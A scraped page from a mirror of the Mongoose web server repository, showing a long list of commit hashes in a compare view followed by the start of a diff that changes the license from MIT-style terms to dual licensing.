mirror of
https://github.com/cesanta/mongoose.git
synced 2026-10-26 12:14:56 +00:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
7010addadb | ||
|
|
2fc654ac35 | ||
|
|
45861c7890 | ||
|
|
1957879e10 | ||
|
|
ddbe690698 | ||
|
|
9ba1596c46 | ||
|
|
de509ae952 | ||
|
|
77817cd019 | ||
|
|
7083bea56b | ||
|
|
3dffd7604a | ||
|
|
5a67af0c73 | ||
|
|
14526a2109 | ||
|
|
a6cfbd2536 | ||
|
|
0d28f99275 | ||
|
|
a281e99661 | ||
|
|
170df7b676 | ||
|
|
3fa5c69f98 | ||
|
|
e31f3058fa | ||
|
|
83a9a726d3 | ||
|
|
8ae0400b0d | ||
|
|
037fdbcccb | ||
|
|
5d2ac4e0a6 | ||
|
|
f977757a9d | ||
|
|
1db13aeed5 | ||
|
|
956788d7de | ||
|
|
45f6612096 | ||
|
|
2392156fd4 | ||
|
|
cf1811f8c3 | ||
|
|
93c5335d80 | ||
|
|
192205b10b | ||
|
|
0377eea9c5 | ||
|
|
ad89868564 | ||
|
|
976f286134 | ||
|
|
503a1a749d | ||
|
|
45a4266172 | ||
|
|
2ea17e8c6d | ||
|
|
67b7d79710 | ||
|
|
2e35e25935 | ||
|
|
d86d409d3c | ||
|
|
1109d3aa3c | ||
|
|
8208d9e250 | ||
|
|
fdd086b11c | ||
|
|
5825e3ea74 | ||
|
|
061ba99124 | ||
|
|
ead098f726 | ||
|
|
7a129c17ba | ||
|
|
400084ea8a | ||
|
|
82ad9a073a | ||
|
|
22aea8acac | ||
|
|
40e5c744da | ||
|
|
e648681f1d | ||
|
|
02f19fc05a | ||
|
|
7690f9e34b | ||
|
|
65c1278975 | ||
|
|
05e1135940 | ||
|
|
7b6e8fb93c | ||
|
|
9f1679e900 | ||
|
|
c0af018e20 | ||
|
|
d553ae992a | ||
|
|
89ef8f2f30 | ||
|
|
9115a99f47 | ||
|
|
bbc65c7987 | ||
|
|
bac0f75dd6 | ||
|
|
6440c358c1 | ||
|
|
6f84c8bbfb | ||
|
|
0adbfcba96 | ||
|
|
136c3e8200 | ||
|
|
7d699ea73c | ||
|
|
fc37b08139 | ||
|
|
3aaf47d4e4 | ||
|
|
346179d1f1 | ||
|
|
0148bc804a | ||
|
|
472e198d4a | ||
|
|
bf6fc3262f | ||
|
|
53311e8d6b | ||
|
|
cc636197bc | ||
|
|
6b4f7e785d | ||
|
|
73ed83c5e3 | ||
|
|
56f128514e | ||
|
|
f0571f9fd6 | ||
|
|
a3663da90e | ||
|
|
f74a1e1dc2 | ||
|
|
74511b42f5 | ||
|
|
04862eec85 | ||
|
|
4d105386ca | ||
|
|
44a35bb5bf | ||
|
|
022c9f0d47 | ||
|
|
e38061970e | ||
|
|
a4e8dc3069 | ||
|
|
fa4179ee53 | ||
|
|
a8c8cfb665 | ||
|
|
e0b6109214 | ||
|
|
d29f849602 | ||
|
|
848c5d753e | ||
|
|
4eef5b14fb | ||
|
|
283af71bbf | ||
|
|
ff85b802c3 | ||
|
|
e2b42e4117 | ||
|
|
63909b59c5 | ||
|
|
7380c65265 | ||
|
|
e9316a4feb | ||
|
|
2ac231cb7e | ||
|
|
a741d53028 | ||
|
|
9ea7b6f8ae | ||
|
|
580d3da3c7 | ||
|
|
aa59dda966 | ||
|
|
47b92e4145 | ||
|
|
fa351959a0 | ||
|
|
1414e2a236 | ||
|
|
5fb275e146 | ||
|
|
9390c66b48 | ||
|
|
2f69ca37d3 | ||
|
|
4cd11de400 | ||
|
|
15a2639355 | ||
|
|
c20f26dbb9 | ||
|
|
cae797cf04 | ||
|
|
0d885add0e | ||
|
|
842231cc5c | ||
|
|
dc55a3ae40 | ||
|
|
4d85cc6c76 | ||
|
|
8ac1b40c11 | ||
|
|
238b43af84 | ||
|
|
12c8e99bd5 | ||
|
|
5f2f359bd6 | ||
|
|
ccf0ce4a1f | ||
|
|
134a5b7b9e | ||
|
|
d39daab29e | ||
|
|
a798b1a937 | ||
|
|
04de3bb2f9 | ||
|
|
86da250e2c | ||
|
|
347a8c2f70 | ||
|
|
9624200663 | ||
|
|
18b1e95350 | ||
|
|
407877a4d5 | ||
|
|
7541c6339a | ||
|
|
31f1efd4f5 | ||
|
|
2477f80a43 | ||
|
|
cf94fb3642 | ||
|
|
2210043b87 | ||
|
|
10872b3227 | ||
|
|
cb324cfb9a | ||
|
|
4ee5849a04 | ||
|
|
fa216849e5 | ||
|
|
df6e35e330 | ||
|
|
96bb9aac36 | ||
|
|
7cec2fe280 | ||
|
|
02937f8852 | ||
|
|
51f0cc2b67 | ||
|
|
253927008c | ||
|
|
9778a4ccfc | ||
|
|
d0e2741832 | ||
|
|
3a5e2fba88 | ||
|
|
85940c8045 | ||
|
|
a0b599b308 | ||
|
|
d43ccda9a7 | ||
|
|
675b83a3ef | ||
|
|
dfdfcc060d | ||
|
|
143fb4f423 | ||
|
|
b7eb12017c | ||
|
|
bd1c6c1506 | ||
|
|
efb7f4f05d | ||
|
|
5475fe661d | ||
|
|
8f62822a33 | ||
|
|
0aa1a9e324 | ||
|
|
7a77bb1c4a | ||
|
|
4576b69e30 | ||
|
|
4fd6eb597d | ||
|
|
257dacd7bb | ||
|
|
c88b7b19b3 | ||
|
|
4fbfb5d0d0 | ||
|
|
67c678270e | ||
|
|
049db9015b | ||
|
|
9dde225b5e | ||
|
|
3a0a22f4cc | ||
|
|
b4a4b15835 | ||
|
|
dca2eab152 | ||
|
|
f9f212442c | ||
|
|
83793aadde | ||
|
|
f7a705c40a | ||
|
|
f5f6edcf5a | ||
|
|
9cb1048c66 | ||
|
|
522a7eb554 | ||
|
|
072833acd5 | ||
|
|
a5aa08e408 | ||
|
|
12d98a1732 | ||
|
|
a6c2c2a10b | ||
|
|
fbe1914226 | ||
|
|
64a744055f | ||
|
|
0007e47c07 | ||
|
|
4708cce8bd | ||
|
|
3eb9156e60 | ||
|
|
2990f9328a | ||
|
|
a0befd65a0 | ||
|
|
872ad8badf | ||
|
|
0970e080d9 | ||
|
|
52fe1461d5 | ||
|
|
d5b33adb88 | ||
|
|
ec84a148f0 | ||
|
|
77d5d4c921 | ||
|
|
58dab48156 | ||
|
|
7abb406d0f | ||
|
|
b941dcd5c5 | ||
|
|
b7adf9b52a | ||
|
|
28f7d83a74 | ||
|
|
34ee1ef3d6 | ||
|
|
e518517456 | ||
|
|
7d0662f1bc | ||
|
|
e3751d29d5 | ||
|
|
04b9ccca22 | ||
|
|
1a17165227 | ||
|
|
b6d968f00c | ||
|
|
a69987a711 | ||
|
|
492328474d | ||
|
|
673a2c581f | ||
|
|
9ef42621e0 | ||
|
|
f5865886b2 | ||
|
|
473e2a1cb2 | ||
|
|
146cf1d1c0 | ||
|
|
ab73055ef3 | ||
|
|
3b83543592 | ||
|
|
d4ac96c24d | ||
|
|
0612129a88 | ||
|
|
9bd5903f1d | ||
|
|
d4eae0e251 | ||
|
|
4d7ea04dd8 | ||
|
|
653fab6b41 | ||
|
|
f4c30b746e | ||
|
|
923e5004e8 | ||
|
|
b14a1e25f0 | ||
|
|
5a3b1123f6 | ||
|
|
6a9494b683 | ||
|
|
63c5658a2b | ||
|
|
fe087cdce9 | ||
|
|
af7efd980c | ||
|
|
2cb325c981 | ||
|
|
66435a7158 | ||
|
|
48417ba911 | ||
|
|
f39c4c8909 | ||
|
|
2a7e720f12 | ||
|
|
ec22250d9b | ||
|
|
a7889756a9 | ||
|
|
9ac67770eb | ||
|
|
3330bca4be | ||
|
|
31f0409bf9 | ||
|
|
ebf9ee089b | ||
|
|
88cf329490 | ||
|
|
bba29d32ce | ||
|
|
2f1f408882 | ||
|
|
46a9e42b8f | ||
|
|
58d3abe165 | ||
|
|
03e737829a | ||
|
|
95d8881454 | ||
|
|
a50a52ca91 | ||
|
|
50371ef309 | ||
|
|
6192d1b53a | ||
|
|
daa9175139 | ||
|
|
8a65611a8c | ||
|
|
6c8a0aa768 | ||
|
|
787b15551d | ||
|
|
2c896e7e5c | ||
|
|
0e49214c7e | ||
|
|
914606a046 | ||
|
|
b30417e908 | ||
|
|
5b8d4cdf68 | ||
|
|
ba06d135c3 | ||
|
|
f0d3d7e81d | ||
|
|
d1bd15291e | ||
|
|
d00b7f4300 | ||
|
|
ebc909b61b | ||
|
|
537fb39b21 | ||
|
|
e106151072 | ||
|
|
257de0709f | ||
|
|
774a819e76 | ||
|
|
ff1412f29d | ||
|
|
c6606c714f | ||
|
|
de3d4e3019 | ||
|
|
2f49e63d5b | ||
|
|
988b40f70d | ||
|
|
b5fdd48d76 | ||
|
|
f4f73a8dfa | ||
|
|
74711c686f | ||
|
|
78c994f7cc | ||
|
|
2d5d668863 | ||
|
|
87279f3518 | ||
|
|
bd10a03da0 | ||
|
|
d138119d24 | ||
|
|
73019665fa | ||
|
|
66824e7757 | ||
|
|
7fe6b29218 | ||
|
|
ebdf973af9 | ||
|
|
71dd7a96c7 | ||
|
|
886dcb3f5d | ||
|
|
37751a2875 | ||
|
|
45347bd44c | ||
|
|
8c4521af03 | ||
|
|
0d2a8db626 | ||
|
|
e791a795b4 | ||
|
|
03d846529d | ||
|
|
607651a3ff | ||
|
|
0714e0dd8f | ||
|
|
224d18589f | ||
|
|
2fd7191836 | ||
|
|
853d162b55 | ||
|
|
762a68a0cf | ||
|
|
1da098671e | ||
|
|
f852a4db0f | ||
|
|
ddea940690 | ||
|
|
292e43b41b | ||
|
|
915e923e35 | ||
|
|
e6ac3af454 | ||
|
|
3adaf8dba9 | ||
|
|
1777cc6e86 | ||
|
|
f9f623bd60 | ||
|
|
fe95707b4e | ||
|
|
a631ee1e1e | ||
|
|
493666dac6 | ||
|
|
46ef4e33c8 | ||
|
|
cafaecfc56 | ||
|
|
47606a71ee | ||
|
|
eedfedd13b | ||
|
|
87d841d81b | ||
|
|
5153eebc9b | ||
|
|
70154f6c23 | ||
|
|
d3577b7877 | ||
|
|
199e0a330f | ||
|
|
a8da1b3334 | ||
|
|
63c19b4631 | ||
|
|
1f471e1cf3 | ||
|
|
ef28c37529 | ||
|
|
cd7e1b9eb7 | ||
|
|
226d476856 | ||
|
|
21965e0e03 | ||
|
|
40ab4a8d3d | ||
|
|
e84d0574fa | ||
|
|
1a64d37fc7 | ||
|
|
9cca843a9b | ||
|
|
ecbf79135f | ||
|
|
96eb48902b | ||
|
|
079c99c47f | ||
|
|
6d2a76b609 | ||
|
|
24e0950ca2 | ||
|
|
98214ce1a4 | ||
|
|
7eed7eab36 | ||
|
|
f0fb5c01a2 | ||
|
|
a92aa3bf49 | ||
|
|
b12cc9fd49 | ||
|
|
a61c3a2636 | ||
|
|
9fd435059f | ||
|
|
3156ac9791 | ||
|
|
b946f33189 | ||
|
|
1e0b7054e6 | ||
|
|
46e04e857c | ||
|
|
4abdeaddbf | ||
|
|
029af1c376 | ||
|
|
c02f2ff4bb | ||
|
|
f74fec8a7e | ||
|
|
50f8e8891b | ||
|
|
d67b1dbd53 | ||
|
|
b0eeb7d67b | ||
|
|
2c6c75cbad | ||
|
|
241388b8a0 | ||
|
|
820b497f42 | ||
|
|
88d8435a02 | ||
|
|
f3f177f3ed | ||
|
|
bfa171cd97 | ||
|
|
19c94ce218 | ||
|
|
5e5033a0f3 | ||
|
|
411a269991 | ||
|
|
bca6aab5a5 | ||
|
|
330e2ff74e | ||
|
|
eb5848478c | ||
|
|
5bb361b1d2 | ||
|
|
0d40364089 | ||
|
|
16c4fe1f37 | ||
|
|
3070e8572d | ||
|
|
baf4d8af27 | ||
|
|
d5acf2e2a7 | ||
|
|
22f8cb14d5 | ||
|
|
e28b3ca91d | ||
|
|
73d2b395d1 | ||
|
|
e556a487e0 | ||
|
|
5728fa1cea | ||
|
|
b461edabd9 | ||
|
|
c9e666babc | ||
|
|
18e64397fc | ||
|
|
3c8418d324 | ||
|
|
784a1580ce | ||
|
|
6a0ac69761 | ||
|
|
7c06279a8c | ||
|
|
aec6f85f55 | ||
|
|
52e3be5c58 | ||
|
|
01a664ad06 | ||
|
|
94933047a7 | ||
|
|
cd6005c86f | ||
|
|
6d14ed3a18 | ||
|
|
0fb5db59d3 | ||
|
|
20b274bb2b | ||
|
|
00b289a0f4 | ||
|
|
9818f9849b | ||
|
|
df1c23222e | ||
|
|
f18ac3e094 | ||
|
|
d8596fae27 | ||
|
|
85209ac4fa | ||
|
|
a58e82b301 | ||
|
|
35f485558b | ||
|
|
93365fcbd2 | ||
|
|
e40a44ba70 | ||
|
|
1eed770238 | ||
|
|
511ef4137f | ||
|
|
479164129b | ||
|
|
08746115e2 | ||
|
|
587aad75c1 | ||
|
|
218428662e | ||
|
|
04fc209644 | ||
|
|
53bedd1eb5 | ||
|
|
a0b43ae8e0 | ||
|
|
866a7e2823 | ||
|
|
2055d41a9f | ||
|
|
1ef29c1b3b | ||
|
|
e95dbb90a7 | ||
|
|
cf18c932a4 | ||
|
|
a730afc44d | ||
|
|
94296c9697 | ||
|
|
667707df50 | ||
|
|
90b6fab3bb | ||
|
|
e47dbcbdc5 | ||
|
|
2a15f8d567 | ||
|
|
b5d397c74f | ||
|
|
3d6b373c8f | ||
|
|
ed236dddeb | ||
|
|
596fb1e88a | ||
|
|
ca0cd5040d | ||
|
|
5b84acbc14 | ||
|
|
c12838e2c3 | ||
|
|
fa3e6ce271 | ||
|
|
743f48b8e0 | ||
|
|
421c16b2bb | ||
|
|
3054a7f09e | ||
|
|
2de96bd54e | ||
|
|
f815c315e7 | ||
|
|
e59ee00154 | ||
|
|
b07745ab50 | ||
|
|
2468a8fb38 | ||
|
|
ed38a4102e | ||
|
|
b1c66f6544 | ||
|
|
8f79a0564f | ||
|
|
2e93cde929 | ||
|
|
e53d05637a | ||
|
|
9d75d35365 | ||
|
|
2ea8d85cff | ||
|
|
ea81a22529 | ||
|
|
526f3aa31c | ||
|
|
62d66201c9 | ||
|
|
f32e14478f | ||
|
|
ca019799b9 | ||
|
|
c6fb9ac3d0 | ||
|
|
c80a88a407 | ||
|
|
f2e19ca3ff | ||
|
|
16c463d2e9 | ||
|
|
6a99518048 | ||
|
|
3b242ec68b | ||
|
|
7409166409 | ||
|
|
ca66b84f7d | ||
|
|
dc1c732f11 | ||
|
|
61148f1323 | ||
|
|
136e3e353d | ||
|
|
c70b80e4e1 | ||
|
|
cba4c9d85d | ||
|
|
3e588065dc | ||
|
|
35cb27dbe6 | ||
|
|
d6b9f76e9c | ||
|
|
a9d51c0e87 | ||
|
|
4b163232e3 | ||
|
|
e003236a03 | ||
|
|
de7745370c | ||
|
|
21786eec8e | ||
|
|
036b213b2b | ||
|
|
61f5f0b725 | ||
|
|
d864d72470 | ||
|
|
7ca5962d2d | ||
|
|
8ce1562f0d | ||
|
|
49d9016275 | ||
|
|
cdc7380d00 | ||
|
|
e645b33b6c | ||
|
|
30f71a8bc4 | ||
|
|
faa030385c | ||
|
|
feb3b5db96 | ||
|
|
508b67d6f5 | ||
|
|
133aec777d | ||
|
|
389ed4e099 | ||
|
|
bc40aa5442 | ||
|
|
5fb9aca2e1 | ||
|
|
c68df310b8 | ||
|
|
70ce6c5ad3 | ||
|
|
460738f11b | ||
|
|
a09ec8988e | ||
|
|
c46aa050ae | ||
|
|
348db16245 | ||
|
|
c0ca6a53be | ||
|
|
e58d622d5f | ||
|
|
bcb294620f | ||
|
|
15937a9c5c | ||
|
|
fa160cb9a3 | ||
|
|
137d6484e2 | ||
|
|
e7c34c26cb | ||
|
|
dfb7d928c2 | ||
|
|
4bb9faaf50 | ||
|
|
a856971b6d | ||
|
|
4a88ad5ca9 | ||
|
|
17ecb0a459 | ||
|
|
afd39abc6f | ||
|
|
4babcff8de | ||
|
|
17d48b1d04 | ||
|
|
6ab20ed9a3 | ||
|
|
a0e5494569 | ||
|
|
f62c733990 | ||
|
|
d283e3167f | ||
|
|
94050d44e4 | ||
|
|
dee97cbf22 | ||
|
|
be01471968 | ||
|
|
a74c44c463 | ||
|
|
81e53d8375 | ||
|
|
ca626abcac | ||
|
|
b5e7730ac7 | ||
|
|
33b920ed2c | ||
|
|
b5b234fab2 | ||
|
|
af89d2446b | ||
|
|
791ad49651 | ||
|
|
063b26fece | ||
|
|
add079a949 | ||
|
|
6e59ad8a0d | ||
|
|
f4862b646d | ||
|
|
91fa767efb | ||
|
|
5e78711467 | ||
|
|
b4a622cfd6 | ||
|
|
8c118bf4cc | ||
|
|
728ebdaafa | ||
|
|
3a186976d7 | ||
|
|
2e232b3304 | ||
|
|
d72645bf91 | ||
|
|
7d5bcec92d | ||
|
|
215ea28db0 | ||
|
|
9b76d60b38 | ||
|
|
63ccf8199f | ||
|
|
6bc6022aa9 | ||
|
|
b68db66e97 | ||
|
|
94e1c5a41b | ||
|
|
ab16220861 | ||
|
|
c0eb3e56b4 | ||
|
|
5591aa5a0d | ||
|
|
6f946f5eea | ||
|
|
39cd5b8323 | ||
|
|
ca96db714a | ||
|
|
a7f97bf2f2 | ||
|
|
e579355b01 | ||
|
|
cfbaf7f1ae | ||
|
|
ce26234ace | ||
|
|
c28dc45d4c | ||
|
|
98b6c5e16a | ||
|
|
1d9d1111e1 | ||
|
|
2a0b55b30b | ||
|
|
1e3b167208 | ||
|
|
f7821b757c | ||
|
|
c352486abb | ||
|
|
4120b9bcc0 | ||
|
|
f7725f2eeb | ||
|
|
be06c3620c | ||
|
|
272644e39f | ||
|
|
55ef3afea4 | ||
|
|
9e07c742ff | ||
|
|
cd2e50c2c4 | ||
|
|
fdef2b8643 | ||
|
|
ce55924a02 | ||
|
|
fbca54bcaf | ||
|
|
41c25d60d6 | ||
|
|
a9b5bb351f | ||
|
|
51ed3efcd1 | ||
|
|
67cffc8db5 | ||
|
|
72abaa043b | ||
|
|
b3a511f9c5 | ||
|
|
8d1f6377c4 | ||
|
|
22dddc2eeb | ||
|
|
daab527743 | ||
|
|
dd49c0791f | ||
|
|
4b539d4b95 | ||
|
|
5eabfe5da2 | ||
|
|
36b7c8d60d | ||
|
|
aa37b728ad | ||
|
|
62085e5215 | ||
|
|
d036f8a3f0 | ||
|
|
fb5e2b8c2f | ||
|
|
4505b00733 | ||
|
|
c485b8264e | ||
|
|
8edd710c00 | ||
|
|
3984e9f5cc | ||
|
|
d4fa794c83 | ||
|
|
3892e0199e | ||
|
|
67f5de624e | ||
|
|
10234b07c4 | ||
|
|
36a83e1452 | ||
|
|
34df4ec1fd | ||
|
|
69cb94f3fb | ||
|
|
7204d71136 | ||
|
|
283f590349 | ||
|
|
27735f293b | ||
|
|
a560334fbb | ||
|
|
cd1707034c | ||
|
|
5ce1fc3c2a | ||
|
|
c78fe425a0 | ||
|
|
a58bb71c19 | ||
|
|
fc9a9593d2 | ||
|
|
eb1fdf56e6 | ||
|
|
ab960df8a9 | ||
|
|
08048bd5bb | ||
|
|
800517ac16 | ||
|
|
690eff4fa2 | ||
|
|
e47b5b775a | ||
|
|
c15e2af897 | ||
|
|
d8536b011c | ||
|
|
a2239c2b4b | ||
|
|
d3c02331d4 | ||
|
|
d707841166 | ||
|
|
affd82a885 | ||
|
|
8322c82790 | ||
|
|
08708435a7 | ||
|
|
1c6036c3ac | ||
|
|
6c3cb6f3eb | ||
|
|
a123874ac5 | ||
|
|
7931929a42 | ||
|
|
cc4a4fb2ab | ||
|
|
3d211d89c5 | ||
|
|
fbf1ccee45 | ||
|
|
0bd43bcae3 | ||
|
|
b809665cad | ||
|
|
463b49f1bd | ||
|
|
a881aad5c6 | ||
|
|
aae0995cd2 | ||
|
|
26b3f227d9 | ||
|
|
665770d602 | ||
|
|
fcafaa73d6 | ||
|
|
079b9ec2c1 | ||
|
|
7bd9a85897 | ||
|
|
2efc5d9fce | ||
|
|
1cb094e059 | ||
|
|
27fe9c8f01 | ||
|
|
9178fbd153 | ||
|
|
b2b43ab0cd | ||
|
|
1415d187eb | ||
|
|
a65078b858 | ||
|
|
7107afae5c | ||
|
|
f6a807c5a4 | ||
|
|
47b11dd19e | ||
|
|
61cdc93405 | ||
|
|
7a52bd643c | ||
|
|
63e8052e4b | ||
|
|
782d0cda46 | ||
|
|
72803eb7f8 | ||
|
|
c7fd221ab7 | ||
|
|
492185e35f | ||
|
|
845d7b08e1 | ||
|
|
49bac31d2d | ||
|
|
9baf2d4ba4 | ||
|
|
1becd26a8f | ||
|
|
ffa983552f | ||
|
|
13d0b67c00 | ||
|
|
bda8e90733 | ||
|
|
fed2057a33 | ||
|
|
a27f62f89f | ||
|
|
d53902844c | ||
|
|
9870b80c65 | ||
|
|
cde25a8b82 | ||
|
|
1b7f036199 | ||
|
|
b80157b7ea | ||
|
|
f9311f0b30 | ||
|
|
bdd933f597 | ||
|
|
ee55d38b55 | ||
|
|
62162ff3e4 | ||
|
|
98f66c8867 | ||
|
|
c132191cad | ||
|
|
d73aa1ad09 | ||
|
|
d5bc58c38d | ||
|
|
51a80e4844 | ||
|
|
54f15a8fe3 | ||
|
|
ce0826e285 | ||
|
|
b21a8b2193 | ||
|
|
8bb49642da | ||
|
|
3f78df86ac | ||
|
|
c30f7a5258 | ||
|
|
7ed94d1918 | ||
|
|
dc513a9a15 | ||
|
|
8ce6cf61b7 | ||
|
|
e63f7fe33a | ||
|
|
b589e0cdf4 | ||
|
|
2b87f909ce | ||
|
|
ec7d0b1abd | ||
|
|
5bb3ede46d | ||
|
|
5105717f78 | ||
|
|
9d1e356709 | ||
|
|
3d7192d9fa | ||
|
|
1b3cbb17c1 | ||
|
|
f1f03e4378 | ||
|
|
625a2a3652 | ||
|
|
33a31d9308 | ||
|
|
5e9bd1f05e | ||
|
|
75d9a6c844 | ||
|
|
179761fd99 | ||
|
|
b783813e54 | ||
|
|
4b29689a42 | ||
|
|
9c4853471c | ||
|
|
81e21a3a0b | ||
|
|
bec6ea00ea | ||
|
|
ed32e3be0f | ||
|
|
83fae879bf | ||
|
|
2169e6d77f | ||
|
|
850e0a5922 | ||
|
|
322ed3cc6f | ||
|
|
6d4d53c247 | ||
|
|
e6f8d40942 | ||
|
|
7e051206ad | ||
|
|
76d913796c | ||
|
|
4c2609df2c | ||
|
|
f79bd71fd4 | ||
|
|
5d4f5b6000 | ||
|
|
fe7c245a6b | ||
|
|
f24bebaca8 | ||
|
|
08afdfa8b6 | ||
|
|
05f7d65fc9 | ||
|
|
a194e07545 | ||
|
|
dbb8a5bbf4 | ||
|
|
d3005df019 | ||
|
|
ef9b103a00 | ||
|
|
f0a2924a7c | ||
|
|
f109030cd0 | ||
|
|
eebdd06532 | ||
|
|
ca2fc71a01 | ||
|
|
e61e371c16 | ||
|
|
d5f07f5b9b | ||
|
|
0a8d5dde51 | ||
|
|
5646caa572 | ||
|
|
c7e5573d08 | ||
|
|
b9a226d109 | ||
|
|
fcf8b86288 | ||
|
|
a8b08c6784 | ||
|
|
1fb6f391a1 | ||
|
|
fcbc36ecde | ||
|
|
70771f29ce | ||
|
|
121391504f | ||
|
|
8455742440 | ||
|
|
5b786a5089 | ||
|
|
a6e74e7707 | ||
|
|
acf72a6109 | ||
|
|
2b76f5fc2a | ||
|
|
c0150606f0 | ||
|
|
cdb6588973 | ||
|
|
eecf24b20c | ||
|
|
0470e813a9 | ||
|
|
52c2b6a407 | ||
|
|
d0ce4b9d81 | ||
|
|
f08af96294 | ||
|
|
315ab663df | ||
|
|
fbd46f9b1c | ||
|
|
74c099fe63 | ||
|
|
2acfab62f0 | ||
|
|
0f9a6266e2 | ||
|
|
ca447d9a23 | ||
|
|
444dbe1cec | ||
|
|
20ce55eb3a | ||
|
|
3956aba429 | ||
|
|
6a37f5e4d6 | ||
|
|
f71bfd5e28 | ||
|
|
38cc14a1af | ||
|
|
bde9a63390 | ||
|
|
8eb816c314 | ||
|
|
50c05c4eed | ||
|
|
4eb5cfab7b | ||
|
|
df6fe7a379 | ||
|
|
78eec961a2 | ||
|
|
adff33c889 | ||
|
|
372fcd722c | ||
|
|
0982863e2d | ||
|
|
9b58a951f0 | ||
|
|
ba04f3fd5d | ||
|
|
ff52367c1c | ||
|
|
a0a017d54d | ||
|
|
6cad2c6f28 | ||
|
|
cec98ee9e2 | ||
|
|
dbef400762 | ||
|
|
1bd85de19a | ||
|
|
0b206129ac | ||
|
|
5e491801da | ||
|
|
eed09600f7 | ||
|
|
8d6634ff7e | ||
|
|
6c9ed3ca53 | ||
|
|
ede1befffa | ||
|
|
2cd4852321 | ||
|
|
1eb719f2d9 | ||
|
|
bf633082ac | ||
|
|
075a152779 | ||
|
|
c079a13b24 | ||
|
|
113c9d5a02 | ||
|
|
05fa677382 | ||
|
|
ab3c070e1c | ||
|
|
2e6a01b931 | ||
|
|
9fa66bf237 | ||
|
|
98c382e7af | ||
|
|
94c7a3862a | ||
|
|
6869b64b31 | ||
|
|
8faf6f7b72 | ||
|
|
99ddb2f12a | ||
|
|
ca9212c3ca | ||
|
|
c9183f3851 | ||
|
|
0912a7f473 | ||
|
|
38421657b3 | ||
|
|
64cfe1d389 | ||
|
|
69b0b58d46 | ||
|
|
0d442058e5 | ||
|
|
1ef31461bc | ||
|
|
0b09df97ac | ||
|
|
0263e39584 | ||
|
|
d8424726bb | ||
|
|
080cb2dd4b | ||
|
|
786caaecb2 | ||
|
|
eb92b5f1b3 | ||
|
|
c5ba6016aa | ||
|
|
73a845a327 | ||
|
|
6eec552ea4 | ||
|
|
cb62203cf3 | ||
|
|
4fcb64fe90 | ||
|
|
8966f47c7a | ||
|
|
e251375c0c | ||
|
|
672e1ec8c6 | ||
|
|
f8713ede2d | ||
|
|
0b5f854bf0 | ||
|
|
3770020b74 | ||
|
|
9f9a1638f7 | ||
|
|
fb07a937e7 | ||
|
|
025cd283c4 | ||
|
|
b39426dbf7 | ||
|
|
5157bd0960 | ||
|
|
2aaedef4af | ||
|
|
a0b037d288 | ||
|
|
011bdc22b2 | ||
|
|
b437d56736 | ||
|
|
6205e69ab2 | ||
|
|
038f8823f1 | ||
|
|
03dd8367bf | ||
|
|
b597da34da | ||
|
|
bf387f9544 | ||
|
|
365b5e8f8a | ||
|
|
47651766fb | ||
|
|
043ea54a2a | ||
|
|
55c8c82c4b | ||
|
|
557d1f4c49 | ||
|
|
2539a473fe | ||
|
|
6bd35a4c18 | ||
|
|
fb8f0ed4d6 | ||
|
|
3ffdf5459a | ||
|
|
02098b1903 | ||
|
|
c189553c8b | ||
|
|
d970705596 | ||
|
|
5c9ab40601 | ||
|
|
451d077170 | ||
|
|
30d1573346 | ||
|
|
0adef2db5b | ||
|
|
8c1866a4af | ||
|
|
2a7a594b49 | ||
|
|
78ea04556f | ||
|
|
7fe2944477 | ||
|
|
93131417e6 | ||
|
|
6ef5eb0665 | ||
|
|
24103ff5df | ||
|
|
2118de37c3 | ||
|
|
0804ce71d5 | ||
|
|
2ffb558e30 | ||
|
|
05062be889 | ||
|
|
ba6c01e602 | ||
|
|
dfc0f00478 | ||
|
|
ecb2b0e53d | ||
|
|
ed74cd82f5 | ||
|
|
d2be594262 | ||
|
|
1e632d3215 | ||
|
|
5642dfcf38 | ||
|
|
4dff36ffde | ||
|
|
771ce9059c | ||
|
|
e490b30c38 | ||
|
|
f935ef832b | ||
|
|
79cdb77e5d | ||
|
|
ff0c2d3f91 | ||
|
|
6f9901b65c | ||
|
|
bce3a85702 | ||
|
|
f741349d51 | ||
|
|
25863b59a6 | ||
|
|
72c861bb83 | ||
|
|
586574e176 | ||
|
|
0f15954727 | ||
|
|
167338f216 | ||
|
|
d82f6b7607 | ||
|
|
614b219a27 | ||
|
|
35cf8687df | ||
|
|
d883b0f0f9 | ||
|
|
0b942aaaba | ||
|
|
364235e7ae | ||
|
|
ba1f2ced8e | ||
|
|
c4c34a8f4d | ||
|
|
a866f4e174 | ||
|
|
c5916814cd | ||
|
|
349717ac0e | ||
|
|
5d27766424 | ||
|
|
97668ba6c9 | ||
|
|
98fb44f836 | ||
|
|
2260c8ddc0 | ||
|
|
edffc46b98 | ||
|
|
7bd8cc3c0c | ||
|
|
828f6cd7fe | ||
|
|
f9873eb87a | ||
|
|
358e4ffbf5 | ||
|
|
9aad922983 | ||
|
|
d9ab7af8b4 | ||
|
|
05b2a04267 | ||
|
|
4408083b4d | ||
|
|
4f01f101fc | ||
|
|
d9f9911d9b | ||
|
|
93b4562515 | ||
|
|
0bb67e06c1 | ||
|
|
518b3aa726 | ||
|
|
07f3554db3 | ||
|
|
acab70ee7c | ||
|
|
c388bc2dd3 | ||
|
|
8072b0a7d4 | ||
|
|
3f4be595a6 | ||
|
|
5d11901af8 | ||
|
|
43953782f9 | ||
|
|
12e133a5e9 | ||
|
|
e92d4451ef | ||
|
|
fadb60d776 | ||
|
|
0521d78982 | ||
|
|
3602d54a5b | ||
|
|
8428f362c1 | ||
|
|
fafc9c6a20 | ||
|
|
66e088d843 | ||
|
|
4a760ad324 | ||
|
|
c92d7c3bc8 | ||
|
|
ee91109d9f | ||
|
|
30fe257691 | ||
|
|
ab6f145e3e | ||
|
|
83dc425e25 | ||
|
|
001cd78b45 | ||
|
|
3d3359910f | ||
|
|
ee8111e424 | ||
|
|
1861b1137b | ||
|
|
ccf43fe3e3 | ||
|
|
8b491d75b5 | ||
|
|
d70c18d692 |
No files matched your search
@@ -1,19 +1,16 @@
|
||||
Copyright (c) 2004-2010 Sergey Lyubka
|
||||
Copyright (c) 2004-2013 Sergey Lyubka <valenok@gmail.com>
|
||||
Copyright (c) 2013 Cesanta Software Limited
|
||||
All rights reserved
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
This code is dual-licensed: you can redistribute it and/or modify
|
||||
